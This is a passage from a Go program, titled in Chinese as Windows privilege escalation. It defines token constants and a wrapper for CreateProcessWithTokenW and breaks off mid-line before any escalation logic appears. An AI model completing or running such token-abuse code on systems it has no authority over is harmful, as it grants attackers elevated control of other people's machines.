golang实现windows提权
package main
import (
"fmt"
"syscall"
"unsafe"
"github.com/shirou/gopsutil/process"
"golang.org/x/sys/windows"
)
const (
TOKEN_ALL_ACCESS = 0x000F01FF
SE_PRIVILEGE_ENABLED = 0x00000002
TOKEN_DUPLICATE = 0x00000002
)
var (
modadvapi32 = syscall.NewLazyDLL("advapi32.dll")
createProcessWithTokenW = modadvapi32.NewProc("CreateProcessWithTokenW")
)
func CreateProcessWithTokenW(Token windows.Token,
LogonFlags uint32,
ApplicationName *uint16,
CommandLine *uint16,
CreationFlags uint32,
Environment **uint16,
CurrentDirectory *uint16,
StartupInfo *windows.StartupInfo,
ProcessInformation *windows.ProcessInformation) bool {
r0, _, _ := createProcessWithTokenW.Call(
uintptr(Token),
uintptr(LogonFlags),
uintptr(unsafe.Pointer(ApplicationName)),
uintptr(unsafe.Pointer(Comma